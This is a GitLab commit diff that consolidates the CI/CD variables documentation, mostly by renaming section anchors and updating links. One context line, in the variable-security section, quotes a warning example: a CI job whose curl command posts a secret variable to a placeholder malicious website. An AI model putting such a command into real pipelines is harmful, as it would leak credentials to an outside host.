Commit 2dcb89ea authored by Marcel Amirault's avatar Marcel Amirault Committed by Vitaly Slobodin

Combine variables documentation

parent fe76e8d4
...@@ -8,7 +8,7 @@ ...@@ -8,7 +8,7 @@
%p %p
= _('Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables.') = _('Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables.')
= link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'instance-cicd-variables'), target: '_blank', rel: 'noopener noreferrer' = link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'add-a-cicd-variable-to-an-instance'), target: '_blank', rel: 'noopener noreferrer'
%p %p
= _('Variables can be:') = _('Variables can be:')
%ul %ul
......
...@@ -265,7 +265,7 @@ test_async: ...@@ -265,7 +265,7 @@ test_async:
## Contexts and variables ## Contexts and variables
CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
## Orbs ## Orbs
......
...@@ -25,7 +25,7 @@ tests access to the GitLab API. ...@@ -25,7 +25,7 @@ tests access to the GitLab API.
``` ```
1. To set values for the `GITLAB_HTTPS` and `GITLAB_ROOT_PASSWORD`, 1. To set values for the `GITLAB_HTTPS` and `GITLAB_ROOT_PASSWORD`,
[assign them to a variable in the user interface](../variables/README.md#project-cicd-variables). [assign them to a variable in the user interface](../variables/README.md#add-a-cicd-variable-to-a-project).
Then assign that variable to the corresponding variable in your Then assign that variable to the corresponding variable in your
`.gitlab-ci.yml` file. `.gitlab-ci.yml` file.
......
...@@ -16,9 +16,9 @@ CI/CD variables are a type of environment variable. You can use them to: ...@@ -16,9 +16,9 @@ CI/CD variables are a type of environment variable. You can use them to:
You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom: You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom:
- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). - [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
- [Project CI/CD variables](#project-cicd-variables). - [Project CI/CD variables](#add-a-cicd-variable-to-a-project).
- [Group CI/CD variables](#group-cicd-variables). - [Group CI/CD variables](#add-a-cicd-variable-to-a-group).
- [Instance CI/CD variables](#instance-cicd-variables). - [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance).
> For more information about advanced use of GitLab CI/CD: > For more information about advanced use of GitLab CI/CD:
> >
...@@ -56,10 +56,10 @@ You can create custom CI/CD variables: ...@@ -56,10 +56,10 @@ You can create custom CI/CD variables:
- For a project: - For a project:
- [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
- [In the project's settings](#project-cicd-variables). - [In the project's settings](#add-a-cicd-variable-to-a-project).
- [With the API](../../api/project_level_variables.md). - [With the API](../../api/project_level_variables.md).
- For all projects in a group [in the group's setting](#group-cicd-variables). - For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group).
- For all projects in a GitLab instance [in the instance's settings](#instance-cicd-variables). - For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance).
You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).
...@@ -123,7 +123,7 @@ Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manua ...@@ -123,7 +123,7 @@ Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manua
keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually).
### Project CI/CD variables ### Add a CI/CD variable to a project
You can add CI/CD variables to a project's settings. Only project members with the You can add CI/CD variables to a project's settings. Only project members with the
[Maintainer role](../../user/permissions.md#project-members-permissions) [Maintainer role](../../user/permissions.md#project-members-permissions)
...@@ -138,7 +138,7 @@ To add or update variables in the project settings: ...@@ -138,7 +138,7 @@ To add or update variables in the project settings:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations. - **Value**: No limitations.
- **Type**: [`File` or `Variable`](#cicd-variable-types). - **Type**: [`File` or `Variable`](#cicd-variable-types).
- **Environment scope**: `All`, or specific [environments](../environments/index.md). - **Environment scope**: (Optional) `All`, or specific [environments](../environments/index.md).
- **Protect variable** (Optional): If selected, the variable is only available - **Protect variable** (Optional): If selected, the variable is only available
in pipelines that run on protected branches or tags. in pipelines that run on protected branches or tags.
- **Mask variable** (Optional): If selected, the variable's **Value** is masked - **Mask variable** (Optional): If selected, the variable's **Value** is masked
...@@ -161,10 +161,9 @@ The output is: ...@@ -161,10 +161,9 @@ The output is:
![Output custom variable](img/custom_variables_output.png) ![Output custom variable](img/custom_variables_output.png)
### Group CI/CD variables ### Add a CI/CD variable to a group
> - Introduced in GitLab 9.4. > Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11
> - Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11
To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.
...@@ -181,14 +180,16 @@ To add a group variable: ...@@ -181,14 +180,16 @@ To add a group variable:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations. - **Value**: No limitations.
- **Type**: [`File` or `Variable`](#cicd-variable-types). - **Type**: [`File` or `Variable`](#cicd-variable-types).
- **Environment scope** (optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** - **Environment scope** (Optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)**
- **Protect variable** (Optional): If selected, the variable is only available - **Protect variable** (Optional): If selected, the variable is only available
in pipelines that run on protected branches or tags. in pipelines that run on protected branches or tags.
- **Mask variable** (Optional): If selected, the variable's **Value** is masked - **Mask variable** (Optional): If selected, the variable's **Value** is masked
in job logs. The variable fails to save if the value does not meet the in job logs. The variable fails to save if the value does not meet the
[masking requirements](#mask-a-cicd-variable). [masking requirements](#mask-a-cicd-variable).
To view the group-level variables available in a project: #### View all group-level variables available in a project
To view all the group-level variables available in a project:
1. In the project, go to **Settings > CI/CD**. 1. In the project, go to **Settings > CI/CD**.
1. Expand the **Variables** section. 1. Expand the **Variables** section.
...@@ -198,7 +199,7 @@ inherited. ...@@ -198,7 +199,7 @@ inherited.
![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png) ![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
### Instance CI/CD variables ### Add a CI/CD variable to an instance
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11.
...@@ -337,6 +338,10 @@ build: ...@@ -337,6 +338,10 @@ build:
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
``` ```
Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)
and stored in the database. This data can only be read and decrypted with a
valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost).
### Custom variables validated by GitLab ### Custom variables validated by GitLab
Some variables are listed in the UI so you can choose them more quickly. Some variables are listed in the UI so you can choose them more quickly.
...@@ -392,9 +397,9 @@ job_name: ...@@ -392,9 +397,9 @@ job_name:
- D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test
``` ```
### Windows Batch ### Use variables with Windows Batch
To access environment variables in Windows Batch, surround the variable To access CI/CD variables in Windows Batch, surround the variable
with `%`: with `%`:
```yaml ```yaml
...@@ -544,8 +549,8 @@ The order of precedence for variables is (from highest to lowest): ...@@ -544,8 +549,8 @@ The order of precedence for variables is (from highest to lowest):
[scheduled pipeline variables](../pipelines/schedules.md#using-variables), [scheduled pipeline variables](../pipelines/schedules.md#using-variables),
and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually).
1. Project [variables](#custom-cicd-variables). 1. Project [variables](#custom-cicd-variables).
1. Group [variables](#group-cicd-variables). 1. Group [variables](#add-a-cicd-variable-to-a-group).
1. Instance [variables](#instance-cicd-variables). 1. Instance [variables](#add-a-cicd-variable-to-an-instance).
1. [Inherited variables](#pass-an-environment-variable-to-another-job). 1. [Inherited variables](#pass-an-environment-variable-to-another-job).
1. Variables defined in jobs in the `.gitlab-ci.yml` file. 1. Variables defined in jobs in the `.gitlab-ci.yml` file.
1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. 1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file.
......
...@@ -23,7 +23,7 @@ type: index ...@@ -23,7 +23,7 @@ type: index
- [Send email confirmation on sign-up](user_email_confirmation.md) - [Send email confirmation on sign-up](user_email_confirmation.md)
- [Security of running jobs](https://docs.gitlab.com/runner/security/) - [Security of running jobs](https://docs.gitlab.com/runner/security/)
- [Proxying images](asset_proxy.md) - [Proxying images](asset_proxy.md)
- [CI/CD variables](cicd_variables.md) - [CI/CD variables](../ci/variables/README.md#cicd-variable-security)
- [Token overview](token_overview.md) - [Token overview](token_overview.md)
- [Project Import decompressed archive size limits](project_import_decompressed_archive_size_limits.md) - [Project Import decompressed archive size limits](project_import_decompressed_archive_size_limits.md)
......
--- ---
stage: Verify redirect_to: '../ci/variables/README.md#cicd-variable-security'
group: Pipeline Authoring remove_date: '2021-07-04'
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
--- ---
# CI/CD variables **(FREE)** This document was moved to [another location](../ci/variables/README.md#cicd-variable-security).
CI/CD variables are applied to environments via the runner and can be set from the project's **Settings > CI/CD** page. <!-- This redirect file can be deleted after <2021-07-04>. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
The values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) and stored in the database.
This data can only be decrypted with a valid [secrets file](../raketasks/backup_restore.md#when-the-secrets-file-is-lost).
...@@ -778,7 +778,7 @@ variables: ...@@ -778,7 +778,7 @@ variables:
``` ```
In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a
[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables): [group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#add-a-cicd-variable-to-an-instance):
```yaml ```yaml
stages: stages:
......
...@@ -847,7 +847,7 @@ variables: ...@@ -847,7 +847,7 @@ variables:
``` ```
In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a
[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables): [group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#add-a-cicd-variable-to-an-instance):
```yaml ```yaml
stages: stages:
......
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment